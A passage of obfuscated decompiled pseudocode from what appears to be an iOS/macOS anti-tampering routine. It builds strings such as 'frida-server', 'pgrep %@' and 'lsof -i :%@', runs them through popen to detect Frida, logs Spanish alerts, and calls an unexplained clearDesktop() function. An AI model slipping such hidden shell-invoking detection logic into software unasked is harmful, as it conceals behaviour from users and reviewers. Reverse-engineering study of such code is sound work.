*v119 = -1049334810;
break;
case -1356325353:
v16 = 268597005;
if ( v115 )
v16 = 561884221;
*v119 = v16;
v77 = v74;
v93 = v102;
v94 = v102;
v118 = 0;
break;
}
}
else
{
switch ( v82 )
{
case -1485883130:
*v119 = 1938308770;
break;
case -1469733378:
*v119 = 1846123061;
break;
case -1468319151:
v63 = v75;
v10 = 0;
v3 = 1301971862;
LABEL_488:
v11 = -1448071270;
goto LABEL_514;
}
}
}
else if ( v82 <= -1316901823 )
{
switch ( v82 )
{
case -1356102986:
v8 = 0;
v55 = (_QWORD **)(v101 + 2);
v56 = v101[2];
v3 = -1356102986;
v9 = 925396213;
goto LABEL_525;
case -1354595455:
*v119 = -833656242;
break;
case -1331815061:
*v119 = 1727591539;
break;
}
}
else if ( v82 > -1277645991 )
{
if ( v82 == -1277645990 )
{
v115 = v74 == 0;
v10 = 0;
v3 = -1155680560;
v11 = 153982706;
goto LABEL_514;
}
if ( v82 == -1192171639 )
{
v3 = -2137727800;
goto LABEL_527;
}
}
else if ( v82 == -1316901822 )
{
*v119 = -1356102986;
}
else if ( v82 == -1293092777 )
{
v8 = !v113;
v3 = -1636617434;
v9 = 2054113623;
goto LABEL_525;
}
}
else if ( v82 <= -1557823313 )
{
if ( v82 > -1592940070 )
{
switch ( v82 )
{
case -1592940069:
*v119 = 1391624296;
break;
case -1587373385:
v33 = 281717369;
if ( !v53 )
v33 = -1354595455;
HikariFunctionWrapper_2691(v85);
*v119 = v33;
break;
case -1564077612:
v15 = -301054478;
if ( v109 )
v15 = 561884221;
*v119 = v15;
v93 = v102;
v94 = v102;
v118 = 0;
break;
}
}
else
{
switch ( v82 )
{
case -1632670302:
*v119 = 458854127;
break;
case -1613738394:
v32 = -1507577268;
if ( v107 )
v32 = 2144663294;
*v119 = v32;
v76 = v54;
break;
case -1608746742:
*v119 = 1938922713;
break;
}
}
}
else if ( v82 <= -1535688624 )
{
switch ( v82 )
{
case -1557823312:
v108 = v67 == 0;
*v119 = 663452895;
break;
case -1554006528:
*v119 = 523676521;
break;
case -1543452652:
v10 = 1;
v3 = 282861574;
v11 = -1632670302;
goto LABEL_514;
}
}
else if ( v82 > -1521545296 )
{
if ( v82 == -1521545295 )
{
objc_release(v86);
objc_release(v97);
*v119 = 1848101301;
}
else if ( v82 == -1507577268 )
{
v79 = v76;
v10 = 0;
v3 = 355549295;
v11 = 1432987493;
goto LABEL_514;
}
}
else
{
if ( v82 == -1535688623 )
{
v110 = **v55 == v57;
v10 = 0;
v3 = 1041791426;
v11 = -1535688623;
goto LABEL_514;
}
if ( v82 == -1526346358 )
{
*v119 = 268597005;
v77 = v69;
}
}
}
else if ( v82 > -1824221887 )
{
if ( v82 <= -1761998630 )
{
if ( v82 > -1790097078 )
{
switch ( v82 )
{
case -1790097077:
v5 = 1;
v81 = dword_10029F298;
v3 = -1777994423;
v6 = -1790097077;
goto LABEL_518;
case -1777994423:
*v119 = -1980929467;
break;
case -1770028183:
aV_0[4] = v116;
aV_0[5] = 45;
aV_0[6] = 115;
aV_0[7] = 101;
aV_0[8] = 114;
aV_0[9] = 118;
aV_0[10] = 101;
aV_0[11] = 114;
aV_0[12] = 0;
asc_100264FCC[0] = 50;
asc_100264FCC[1] = 55;
asc_100264FCC[2] = 48;
asc_100264FCC[3] = 50;
asc_100264FCC[4] = 48;
asc_100264FCC[5] = 0;
aO_19[0] = 114;
byte_100265074 = 0;
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264E50[5] = 0;
asc_10026507E[0] = 112;
asc_10026507E[1] = 103;
asc_10026507E[2] = 114;
asc_10026507E[3] = 101;
asc_10026507E[4] = 112;
asc_10026507E[5] = 32;
asc_10026507E[6] = 37;
asc_10026507E[7] = 64;
asc_10026507E[8] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
strcpy(aKh, "Frida detectado en puerto %@");
asc_100264FD8[0] = 50;
asc_100264FD8[1] = 55;
asc_100264FD8[2] = 48;
asc_100264FD8[3] = 52;
asc_100264FD8[4] = 50;
*v119 = -1999340834;
break;
}
}
else
{
switch ( v82 )
{
case -1824221886:
*v119 = -28664137;
break;
case -1810908396:
v10 = 0;
v3 = -932469085;
v11 = 550093296;
goto LABEL_514;
case -1809165861:
*v119 = -88932861;
break;
}
}
}
else if ( v82 <= -1643199990 )
{
switch ( v82 )
{
case -1761998629:
v5 = 0;
v3 = -330929487;
v6 = 1463100804;
goto LABEL_518;
case -1754750678:
v10 = 0;
v3 = 1983166682;
v11 = -915863327;
goto LABEL_514;
case -1705516156:
*v119 = 1110391282;
break;
}
}
else if ( v82 > -1637534913 )
{
if ( v82 == -1637534912 )
{
*v119 = -1468319151;
v75 = v49;
}
else if ( v82 == -1636617434 )
{
v8 = 0;
v3 = 1120071351;
v9 = 638647166;
goto LABEL_525;
}
}
else if ( v82 == -1643199989 )
{
*v119 = -124951379;
}
else if ( v82 == -1640114688 )
{
v7 = -1468319151;
if ( v108 )
v7 = -1761998629;
*v119 = v7;
v75 = v67;
}
}
else if ( v82 <= -1935515360 )
{
if ( v82 > -1980929468 )
{
switch ( v82 )
{
case -1980929467:
v2 = 0;
v3 = 365807135;
v4 = 1313767390;
goto LABEL_471;
case -1980246051:
v98 = &v48;
v83 = &v48;
v48 = (char *)&v48;
v99 = &v48;
v101 = &v48;
v84 = &v48;
__s1 = (char *)(&v48 - 32);
*v88 = (char *)CFSTR("v\xEA\x08\x6F\x03\v\x1F\xCE\x6E*\xEA\x0F\xA5");
v88[1] = (char *)CFSTR("|>\xCE\x50o/");
v88[2] = (char *)CFSTR("\xDD\xD4\xA2˞\xFA\x16~l\b\fF");
*v119 = -1940255288;
break;
case -1940255288:
v65 = "arrayWithObjects:count:";
v13 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v88,
3);
obj = objc_retainAutoreleasedReturnValue(v13);
v14 = v98;
*((_OWORD *)v98 + 3) = 0;
*((_OWORD *)v14 + 2) = 0;
*((_OWORD *)v14 + 1) = 0;
*(_OWORD *)v14 = 0;
objc_retain(obj);
v96 = "countByEnumeratingWithState:objects:count:";
v49 = objc_msgSend(obj, "countByEnumeratingWithState:objects:count:", v98, v83, 16);
v2 = v49 == 0;
v3 = 457755981;
v4 = -1761998629;
goto LABEL_471;
}
}
else
{
switch ( v82 )
{
case -2137727800:
v3 = -1637534912;
goto LABEL_527;
case -2100303951:
v10 = 1;
v3 = -1037168162;
v11 = -695131757;
goto LABEL_514;
case -1999340834:
aV_0[4] = v116;
aV_0[5] = 45;
aV_0[6] = 115;
aV_0[7] = 101;
aV_0[8] = 114;
aV_0[9] = 118;
aV_0[10] = 101;
aV_0[11] = 114;
aV_0[12] = 0;
asc_100264FCC[0] = 50;
asc_100264FCC[1] = 55;
asc_100264FCC[2] = 48;
asc_100264FCC[3] = 50;
asc_100264FCC[4] = 48;
asc_100264FCC[5] = 0;
aO_19[0] = 114;
byte_100265074 = 0;
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264E50[5] = 0;
asc_10026507E[0] = 112;
asc_10026507E[1] = 103;
asc_10026507E[2] = 114;
asc_10026507E[3] = 101;
asc_10026507E[4] = 112;
asc_10026507E[5] = 32;
asc_10026507E[6] = 37;
asc_10026507E[7] = 64;
asc_10026507E[8] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
strcpy(aKh, "Frida detectado en puerto %@");
asc_100264FD8[0] = 50;
asc_100264FD8[1] = 55;
asc_100264FD8[2] = 48;
asc_100264FD8[3] = 52;
asc_100264FD8[4] = 50;
v5 = 1;
v117 = 0;
v3 = 1743434308;
v6 = -1999340834;
goto LABEL_518;
}
}
}
else if ( v82 <= -1879499767 )
{
switch ( v82 )
{
case -1935515359:
v5 = 1;
v3 = 1627552471;
v6 = 1548058492;
goto LABEL_518;
case -1934635268:
v10 = 1;
v3 = -343124599;
v11 = 2025717448;
goto LABEL_514;
case -1898465624:
objc_msgSend(obj, v96, v98, v83, 16);
*v119 = -583166192;
break;
}
}
else if ( v82 > -1827046687 )
{
if ( v82 == -1827046686 )
{
v5 = 1;
v3 = -1999340834;
v6 = -1770028183;
goto LABEL_518;
}
if ( v82 == -1825215729 )
{
v113 = v61 == 0;
*v119 = 2085062289;
}
}
else if ( v82 == -1879499766 )
{
v25 = HikariFunctionWrapper_2719(&OBJC_CLASS___NSString, v92);
v26 = objc_retainAutoreleasedReturnValue(v25);
objc_retainAutorelease(v26);
v27 = (const char *)objc_msgSend(v26, v70);
HikariFunctionWrapper_2721(v27, aO_19);
*v119 = 1725346458;
}
else if ( v82 == -1840948395 )
{
v2 = 0;
v3 = 1727591539;
v4 = -1331815061;
goto LABEL_471;
}
}
else if ( v82 <= -573040246 )
{
if ( v82 > -840757701 )
{
if ( v82 <= -658964281 )
{
if ( v82 > -748772342 )
{
switch ( v82 )
{
case -748772341:
v109 = v69 == 0;
v8 = 0;
v3 = -748772341;
v9 = -1564077612;
goto LABEL_525;
case -697120055:
clearDesktop();
v10 = 0;
v3 = -1608746742;
v11 = -697120055;
goto LABEL_514;
case -695131757:
v8 = 0;
v3 = -695131757;
v9 = -462399858;
goto LABEL_525;
}
}
else
{
switch ( v82 )
{
case -840757700:
v8 = !v106;
v3 = -1934635268;
v9 = 482393635;
goto LABEL_525;
case -833656242:
v5 = 0;
v3 = -143398449;
v6 = 409195175;
goto LABEL_518;
case -762219034:
v87 = v78;
v5 = 1;
v3 = -1535688623;
v6 = 76581506;
goto LABEL_518;
}
}
}
else if ( v82 <= -601695893 )
{
switch ( v82 )
{
case -658964280:
*v119 = 931193718;
break;
case -651817724:
v5 = 1;
v3 = 849650665;
v6 = 595251114;
goto LABEL_518;
case -611525523:
v2 = v100 == 0;
v3 = -1543452652;
v4 = -1810908396;
goto LABEL_471;
}
}
else if ( v82 > -583166193 )
{
if ( v82 == -583166192 )
{
v24 = HikariFunctionWrapper_2695(obj, v96);
v8 = 0;
v67 = v24;
v3 = -1898465624;
v9 = 614190012;
goto LABEL_525;
}
if ( v82 == -576348356 )
{
v18 = objc_msgSend(v68, v65, v99, 2);
v102 = objc_retainAutoreleasedReturnValue(v18);
v19 = v101;
*((_OWORD *)v101 + 3) = 0;
*((_OWORD *)v19 + 2) = 0;
*((_OWORD *)v19 + 1) = 0;
*(_OWORD *)v19 = 0;
objc_retain(v102);
v69 = objc_msgSend(v102, v96, v101, v84, 16);
*v119 = -346116213;
}
}
else if ( v82 == -601695892 )
{
*v119 = -1160914027;
}
else if ( v82 == -586565625 )
{
*v119 = 351570929;
}
}
else if ( v82 <= -986398028 )
{
if ( v82 > -1049334811 )
{
switch ( v82 )
{
case -1049334810:
v31 = -762219034;
if ( v114 )
v31 = 720104142;
*v119 = v31;
v78 = v73;
break;
case -1037168162:
*v119 = -695131757;
break;
case -1028993607:
v10 = 0;
v3 = 1848101301;
v11 = -1521545295;
goto LABEL_514;
}
}
else
{
switch ( v82 )
{
case -1160914027:
HikariFunctionWrapper_2711(a1, v62);
*v119 = -1028993607;
break;
case -1155680560:
*v119 = -1754750678;
break;
case -1065991126:
*v119 = -924866440;
break;
}
}
}
else if ( v82 <= -924866441 )
{
switch ( v82 )
{
case -986398027:
strstr(__s1, &_s2);
*v119 = 1828575794;
break;
case -932469085:
objc_release(v97);
v5 = 1;
v73 = (char *)v87 + 1;
v3 = 1140504980;
v6 = -932469085;
goto LABEL_518;
case -929670234:
*v119 = -611525523;
break;
}
}
else if ( v82 > -908325266 )
{
if ( v82 == -908325265 )
{
v8 = 0;
v90 = *(_QWORD *)(*v52 + 8 * v79);
v3 = 1837784483;
v9 = 195053124;
goto LABEL_525;
}
if ( v82 == -895959263 )
{
v106 = v85 == 0;
v2 = 0;
v3 = -840757700;
LABEL_333:
v4 = -459392900;
LABEL_471:
if ( v2 )
v3 = v4;
goto LABEL_527;
}
}
else if ( v82 == -924866440 )
{
*v119 = 1686942814;
}
else if ( v82 == -915863327 )
{
*v119 = 1983166682;
}
}
else if ( v82 <= -240721017 )
{
if ( v82 <= -388514138 )
{
if ( v82 > -459392901 )
{
switch ( v82 )
{
case -459392900:
*v119 = -895959263;
break;
case -418962282:
v5 = 1;
v3 = -908325265;
v6 = 1837784483;
goto LABEL_518;
case -404122152:
v5 = v80 < 0xC712E5AB;
v3 = -1790097077;
v6 = 795433526;
goto LABEL_518;
}
}
else
{
switch ( v82 )
{
case -573040245:
HikariFunctionWrapper_2725(v100);
*v119 = 930327105;
break;
case -492783650:
v28 = objc_msgSend(v68, v65, v99, 2);
v29 = objc_retainAutoreleasedReturnValue(v28);
v30 = v101;
*(_OWORD *)v101 = 0;
*((_OWORD *)v30 + 1) = 0;
*((_OWORD *)v30 + 2) = 0;
*((_OWORD *)v30 + 3) = 0;
objc_retain(v29);
HikariFunctionWrapper_2717(v29, v96);
*v119 = -576348356;
break;
case -462399858:
*v119 = 308512226;
break;
}
}
}
else if ( v82 <= -343124600 )
{
switch ( v82 )
{
case -388514137:
v111 = v59 == 0;
*v119 = -68060948;
break;
case -366678515:
*v119 = -2100303951;
break;
case -346116213:
*v119 = 613066386;
break;
}
}
else if ( v82 > -301054479 )
{
if ( v82 == -301054478 )
{
v5 = 1;
v3 = -1356102986;
v6 = -1316901822;
goto LABEL_518;
}
if ( v82 == -271003302 )
*v119 = 1006432286;
}
else if ( v82 == -343124599 )
{
*v119 = 2025717448;
}
else if ( v82 == -330929487 )
{
objc_release(obj);
*v99 = (char *)CFSTR("\xE0\xE2\x2E\xC2\x73");
v99[1] = (char *)CFSTR("{+\x8F\xC8\x22\v");
*v119 = 1463100804;
}
}
else if ( v82 > -120078036 )
{
if ( v82 <= -62841392 )
{
switch ( v82 )
{
case -120078035:
v57 = *(_QWORD *)v56;
*v119 = 1948781976;
break;
case -88932861:
dword_10029F298 = 1;
v88 = &v48 - 4;
*v119 = -1980246051;
break;
case -68060948:
v2 = 0;
v3 = -1935515359;
v4 = 1548058492;
goto LABEL_471;
}
}
else if ( v82 > 76581505 )
{
if ( v82 == 76581506 )
{
*v119 = -1535688623;
}
else if ( v82 == 80781820 )
{
v20 = objc_msgSend(&OBJC_CLASS___NSString, v89, CFSTR("\xBC`\xA9\xE9\xFC\xDFj"), v90);
v91 = objc_retainAutoreleasedReturnValue(v20);
objc_retainAutorelease(v91);
v21 = (const char *)objc_msgSend(v91, v66);
v85 = popen(v21, aO_19);
*v119 = 1321530616;
}
}
else if ( v82 == -62841391 )
{
*v119 = 561884221;
v93 = v102;
v94 = v102;
v118 = 1;
}
else if ( v82 == -28664137 )
{
v5 = 1;
v3 = -1640114688;
v6 = -28664137;
goto LABEL_518;
}
}
else if ( v82 <= -163823665 )
{
switch ( v82 )
{
case -240721016:
v39 = objc_msgSend(
&OBJC_CLASS___NSString,
v89,
CFSTR("\\\xA0!︓\x8F\x96*k\x11\x86\x1D\xE1\xD3\x01\xAC\xBA\xC0\x7F\x87\xB3о4w\xF0\x86\x9B\x87\xFD\x9E"),
v90);
v40 = objc_retainAutoreleasedReturnValue(v39);
HikariFunctionWrapper_2693(a1, "logSecurityEvent:severity:");
objc_release(v40);
v10 = 1;
v3 = 306838828;
v11 = -1592940069;
goto LABEL_514;
case -218542156:
v8 = !v112;
v3 = -1636617434;
v9 = 1517042245;
goto LABEL_525;
case -200644094:
v8 = 0;
v3 = -163823664;
v9 = 225584811;
goto LABEL_525;
}
}
else if ( v82 > -143398450 )
{
if ( v82 == -143398449 )
{
*v119 = 409195175;
}
else if ( v82 == -124951379 )
{
v8 = 0;
v3 = -1643199989;
v9 = -218542156;
goto LABEL_525;
}
}
else if ( v82 == -163823664 )
{
*v119 = -200644094;
}
else if ( v82 == -163819594 )
{
v5 = 1;
v3 = 2012830167;
v6 = -163819594;
goto LABEL_518;
}
}
if ( v82 <= 1120071350 )
break;
if ( v82 <= 1689920953 )
{
if ( v82 > 1438775511 )
{
if ( v82 <= 1543780567 )
{
if ( v82 > 1481688199 )
{
switch ( v82 )
{
case 1481688200:
*v119 = -2137727800;
break;
case 1504798747:
v10 = 1;
v3 = -1879499766;
v11 = 1725346458;
goto LABEL_514;
case 1517042245:
v2 = 0;
v3 = 1828575794;
v4 = -986398027;
goto LABEL_471;
}
}
else
{
switch ( v82 )
{
case 1438775512:
objc_enumerationMutation(v102);
*v119 = 179271531;
break;
case 1463100804:
objc_release(obj);
v8 = 0;
*v99 = (char *)CFSTR("\xE0\xE2\x2E\xC2\x73");
v99[1] = (char *)CFSTR("{+\x8F\xC8\x22\v");
v68 = &OBJC_CLASS___NSArray;
v3 = -330929487;
v9 = -271003302;
goto LABEL_525;
case 1479964368:
v5 = 0;
v92 = "stringWithFormat:";
v70 = "UTF8String";
v3 = 1479964368;
v6 = 641404058;
goto LABEL_518;
}
}
}
else if ( v82 <= 1660346186 )
{
switch ( v82 )
{
case 1543780568:
v10 = 0;
v3 = 80781820;
v11 = 726909933;
goto LABEL_514;
case 1548058492:
*v119 = -1935515359;
break;
case 1627552471:
v8 = !v111;
v3 = 812129279;
v9 = 409269827;
goto LABEL_525;
}
}
else if ( v82 > 1678574868 )
{
if ( v82 == 1678574869 )
{
*v119 = 1818485315;
}
else if ( v82 == 1686942814 )
{
v107 = v79 + 1 == (_QWORD)v63;
v10 = 0;
v54 = v79 + 1;
v3 = 1762676111;
v11 = 153472475;
goto LABEL_514;
}
}
else if ( v82 == 1660346187 )
{
asc_100264FD8[5] = v117;
byte_100264FA6 = 102;
byte_100264FA7 = 114;
byte_100264FA8 = 105;
byte_100264FA9 = 100;
byte_100264FAA = 97;
byte_100264FAB = 0;
strcpy(asc_100265050, "Proceso sospechoso detectado: %@");
*v119 = 614266275;
}
else if ( v82 == 1665566204 )
{
v8 = !v105;
v3 = 1021536232;
v9 = -418962282;
goto LABEL_525;
}
}
else if ( v82 <= 1314993919 )
{
if ( v82 > 1242144166 )
{
switch ( v82 )
{
case 1242144167:
*v119 = -1810908396;
break;
case 1301971862:
v10 = 0;
v89 = "stringWithFormat:";
v66 = "UTF8String";
v3 = 1689920954;
goto LABEL_488;
case 1313767390:
*v119 = 365807135;
break;
}
}
else
{
switch ( v82 )
{
case 1120071351:
HikariFunctionWrapper_2727(v100);
clearDesktop();
v44 = HikariFunctionWrapper_2729(&OBJC_CLASS___NSString, v92);
objc_retainAutoreleasedReturnValue(v44);
*v119 = 638647166;
break;
case 1140504980:
*v119 = -1383016068;
break;
case 1187396372:
v10 = 1;
v58 = (__int64 *)(v101 + 1);
v3 = 1919905907;
v11 = -1526346358;
goto LABEL_514;
}
}
}
else if ( v82 <= 1356011194 )
{
switch ( v82 )
{
case 1314993920:
*v119 = -748772341;
break;
case 1321530616:
*v119 = 1347699505;
break;
case 1347699505:
v2 = 0;
v3 = -895959263;
goto LABEL_333;
}
}
else if ( v82 > 1391624295 )
{
if ( v82 == 1391624296 )
{
v2 = 0;
v3 = -200644094;
v4 = -163823664;
goto LABEL_471;
}
if ( v82 == 1432987493 )
*v119 = 355549295;
}
else
{
if ( v82 == 1356011195 )
{
v2 = 0;
v3 = 179271531;
v4 = 1438775512;
goto LABEL_471;
}
if ( v82 == 1370713094 )
*v119 = -418962282;
}
}
else if ( v82 <= 1919905906 )
{
if ( v82 <= 1818485314 )
{
if ( v82 > 1743434307 )
{
switch ( v82 )
{
case 1743434308:
*v119 = 2108460499;
break;
case 1762676111:
*v119 = 425049938;
break;
case 1811666797:
*v119 = 1826199920;
break;
}
}
else
{
switch ( v82 )
{
case 1689920954:
*v119 = -1507577268;
v76 = 0;
break;
case 1725346458:
v72 = *(_QWORD *)(v71 + 8LL * (_QWORD)v87);
v36 = HikariFunctionWrapper_2697(&OBJC_CLASS___NSString, v92);
v97 = objc_retainAutoreleasedReturnValue(v36);
objc_retainAutorelease(v97);
v37 = (const char *)HikariFunctionWrapper_2699(v97, v70);
v38 = HikariFunctionWrapper_2701(v37, aO_19);
v5 = 1;
v100 = v38;
v3 = -929670234;
v6 = -1879499766;
goto LABEL_518;
case 1727591539:
v5 = 0;
v3 = 1727591539;
v6 = 1370713094;
goto LABEL_518;
}
}
}
else if ( v82 <= 1836950903 )
{
switch ( v82 )
{
case 1818485315:
*v119 = -1613738394;
break;
case 1826199920:
v53 = fgets(v48, 64, v85);
*v119 = -1587373385;
break;
case 1828575794:
v17 = strstr(__s1, &_s2);
v8 = 0;
v61 = v17;
v3 = 1828575794;
v9 = 1836950904;
goto LABEL_525;
}
}
else if ( v82 > 1846123060 )
{
if ( v82 == 1846123061 )
{
v10 = 0;
v3 = 704601755;
v11 = 477029445;
goto LABEL_514;
}
if ( v82 == 1848101301 )
{
objc_release(v86);
objc_release(v97);
v5 = 1;
v3 = -62841391;
v6 = -1521545295;
goto LABEL_518;
}
}
else if ( v82 == 1836950904 )
{
*v119 = -1825215729;
}
else if ( v82 == 1837784483 )
{
*v119 = -908325265;
}
}
else if ( v82 > 2054113622 )
{
if ( v82 <= 2108460498 )
{
switch ( v82 )
{
case 2054113623:
v59 = HikariFunctionWrapper_2703(__s1, 256, v100);
*v119 = -388514137;
break;
case 2085062289:
v10 = 1;
v3 = -586565625;
v11 = 351570929;
goto LABEL_514;
case 2102642458:
*v119 = 1479964368;
break;
}
}
else if ( v82 > 2128055744 )
{
if ( v82 == 2128055745 )
{
v5 = 0;
v3 = 153982706;
v6 = -1277645990;
goto LABEL_518;
}
if ( v82 == 2144663294 )
*v119 = -583166192;
}
else
{
if ( v82 == 2108460499 )
{
v8 = 0;
v3 = 1660346187;
v9 = 614266275;
goto LABEL_525;
}
if ( v82 == 2125000172 )
*v119 = 482393635;
}
}
else if ( v82 <= 1948781975 )
{
switch ( v82 )
{
case 1919905907:
*v119 = 1187396372;
break;
case 1938308770:
v5 = 1;
v3 = 1110391282;
v6 = -1705516156;
goto LABEL_518;
case 1938922713:
*v119 = -240721016;
break;
}
}
else if ( v82 > 2012830166 )
{
if ( v82 == 2012830167 )
{
*v119 = 2054113623;
}
else if ( v82 == 2025717448 )
{
v10 = 1;
v3 = -343124599;
v11 = 1811666797;
goto LABEL_514;
}
}
else
{
if ( v82 == 1948781976 )
{
v5 = 1;
v3 = 1187396372;
v6 = 1919905907;
goto LABEL_518;
}
if ( v82 == 1983166682 )
{
v2 = 0;
v3 = -1356325353;
v4 = -915863327;
goto LABEL_471;
}
}
}
if ( v82 > 523676520 )
break;
if ( v82 > 308512225 )
{
if ( v82 <= 425049937 )
{
if ( v82 > 365807134 )
{
switch ( v82 )
{
case 365807135:
v104 = v81 == 0;
v5 = 1;
v3 = -1554006528;
v6 = 365807135;
LABEL_518:
if ( !v5 )
v3 = v6;
goto LABEL_527;
case 409195175:
v5 = 0;
v3 = -143398449;
v6 = 2125000172;
goto LABEL_518;
case 409269827:
v8 = 0;
v3 = -573040245;
v9 = 930327105;
goto LABEL_525;
}
}
else
{
switch ( v82 )
{
case 308512226:
v71 = *v58;
*v119 = 1504798747;
break;
case 351570929:
v5 = 1;
v3 = -1293092777;
v6 = 351570929;
goto LABEL_518;
case 355549295:
v105 = **v50 == v51;
v8 = 0;
v3 = 355549295;
v9 = 1665566204;
goto LABEL_525;
}
}
}
else if ( v82 <= 458854126 )
{
switch ( v82 )
{
case 425049938:
v8 = 0;
v3 = 1678574869;
v9 = 1818485315;
LABEL_525:
if ( !v8 )
v3 = v9;
LABEL_527:
*v119 = v3;
break;
case 446430162:
v52 = v98 + 1;
*v119 = -1192171639;
break;
case 457755981:
v50 = (_QWORD **)(v98 + 2);
v51 = *(_QWORD *)v98[2];
*v119 = 446430162;
break;
}
}
else if ( v82 > 482393634 )
{
if ( v82 == 482393635 )
{
v5 = 1;
v3 = 606823947;
v6 = 660804304;
goto LABEL_518;
}
if ( v82 == 495229358 )
*v119 = -163819594;
}
else if ( v82 == 458854127 )
{
*v119 = 781676468;
}
else if ( v82 == 477029445 )
{
*v119 = 704601755;
}
}
else if ( v82 <= 209313536 )
{
if ( v82 > 179271530 )
{
switch ( v82 )
{
case 179271531:
objc_enumerationMutation(v102);
v10 = 1;
v3 = 1438775512;
v11 = -366678515;
LABEL_514:
if ( v10 )
v3 = v11;
goto LABEL_527;
case 195053124:
*v119 = 1543780568;
break;
case 206527165:
v10 = 1;
v3 = -1643199989;
v11 = -124951379;
goto LABEL_514;
}
}
else
{
switch ( v82 )
{
case 153472475:
*v119 = 1686942814;
break;
case 153982706:
*v119 = -1277645990;
break;
case 156858303:
v12 = HikariFunctionWrapper_2705(__s1, &byte_100264FA6);
v10 = 0;
v60 = v12;
v3 = -658964280;
v11 = 254766127;
goto LABEL_514;
}
}
}
else if ( v82 <= 268597004 )
{
switch ( v82 )
{
case 209313537:
strcpy(asc_1002650B9, "lsof -i :%@");
strcpy(asc_1002650A1, "frida-trace");
_s2 = 112;
byte_10026508F = 121;
byte_100265090 = 116;
byte_100265091 = 104;
byte_100265092 = 111;
byte_100265093 = 110;
byte_100265094 = 0;
aV_0[0] = 102;
aV_0[1] = 114;
aV_0[2] = 105;
aV_0[3] = 100;
v116 = 97;
*v119 = -1827046686;
break;
case 225584811:
*v119 = 561884221;
v93 = v91;
v94 = obj;
v118 = 1;
break;
case 254766127:
HikariFunctionWrapper_2723(__s1, &byte_100264FA6);
*v119 = 156858303;
break;
}
}
else if ( v82 > 282861573 )
{
if ( v82 == 282861574 )
{
*v119 = -1632670302;
}
else if ( v82 == 306838828 )
{
v22 = HikariFunctionWrapper_2715(&OBJC_CLASS___NSString, v89);
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_msgSend(a1, "logSecurityEvent:severity:", v23, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
objc_release(v23);
*v119 = -240721016;
}
}
else
{
if ( v82 == 268597005 )
{
v64 = v77;
v2 = 0;
v3 = 1479964368;
v4 = 2102642458;
goto LABEL_471;
}
if ( v82 == 281717369 )
{
v5 = 0;
v3 = 652823264;
v6 = -697120055;
goto LABEL_518;
}
}
}
if ( v82 <= 720104141 )
break;
if ( v82 <= 925396212 )
{
if ( v82 > 795433525 )
{
switch ( v82 )
{
case 795433526:
*v119 = -1790097077;
break;
case 812129279:
v5 = 1;
v3 = 156858303;
v6 = 254766127;
goto LABEL_518;
case 849650665:
v8 = !v104;
v3 = -88932861;
v9 = 209313537;
goto LABEL_525;
}
}
else
{
switch ( v82 )
{
case 720104142:
v74 = HikariFunctionWrapper_2707(v102, v96);
*v119 = 2128055745;
break;
case 726909933:
v41 = HikariFunctionWrapper_2713(&OBJC_CLASS___NSString, v89);
v42 = objc_retainAutoreleasedReturnValue(v41);
objc_retainAutorelease(v42);
v43 = (const char *)objc_msgSend(v42, v66);
popen(v43, aO_19);
*v119 = 80781820;
break;
case 781676468:
v5 = 1;
v3 = -163819594;
v6 = 495229358;
goto LABEL_518;
}
}
}
else if ( v82 <= 1006432285 )
{
switch ( v82 )
{
case 925396213:
*v119 = -120078035;
break;
case 930327105:
pclose(v100);
v5 = 1;
v3 = -1469733378;
v6 = 930327105;
goto LABEL_518;
case 931193718:
v112 = v60 == 0;
*v119 = 206527165;
break;
}
}
else if ( v82 > 1041791425 )
{
if ( v82 == 1041791426 )
{
v8 = !v110;
v3 = 1356011195;
v9 = 308512226;
goto LABEL_525;
}
if ( v82 == 1110391282 )
{
v5 = 1;
v3 = 1242144167;
v6 = 1110391282;
goto LABEL_518;
}
}
else
{
if ( v82 == 1006432286 )
{
v2 = 0;
v3 = -576348356;
v4 = -492783650;
goto LABEL_471;
}
if ( v82 == 1021536232 )
{
objc_enumerationMutation(obj);
*v119 = -1840948395;
}
}
}
if ( v82 <= 614266274 )
break;
if ( v82 <= 652823263 )
{
switch ( v82 )
{
case 614266275:
asc_100264FD8[5] = v117;
byte_100264FA6 = 102;
byte_100264FA7 = 114;
byte_100264FA8 = 105;
byte_100264FA9 = 100;
byte_100264FAA = 97;
byte_100264FAB = 0;
strcpy(asc_100265050, "Proceso sospechoso detectado: %@");
v10 = 1;
v3 = 614266275;
v11 = -1809165861;
goto LABEL_514;
case 638647166:
HikariFunctionWrapper_2709(v100);
clearDesktop();
v34 = objc_msgSend(
&OBJC_CLASS___NSString,
v92,
CFSTR("'~KH\xBD\"\x86B\x16\xCD\x486K\a\xCF\xD2M\xBC\xF2\x55\xE4\xCB<q\x12\xAC,q"),
v72);
v35 = objc_retainAutoreleasedReturnValue(v34);
v2 = 0;
v86 = v35;
v62 = "logSecurityEvent:severity:";
v3 = -601695892;
v4 = 638647166;
goto LABEL_471;
case 641404058:
*v119 = -762219034;
v78 = 0;
break;
}
}
else if ( v82 > 663452894 )
{
if ( v82 == 663452895 )
{
v8 = 0;
v3 = -1824221886;
v9 = -28664137;
goto LABEL_525;
}
if ( v82 == 704601755 )
{
v10 = 1;
v3 = 704601755;
v11 = -1485883130;
goto LABEL_514;
}
}
else if ( v82 == 652823264 )
{
clearDesktop();
*v119 = -697120055;
}
else if ( v82 == 660804304 )
{
objc_release(v91);
*v119 = 606823947;
}
}
if ( v82 <= 606823946 )
break;
switch ( v82 )
{
case 606823947:
objc_release(v91);
v8 = 0;
v3 = 660804304;
v9 = -1065991126;
goto LABEL_525;
case 613066386:
v5 = 1;
v3 = -748772341;
v6 = 1314993920;
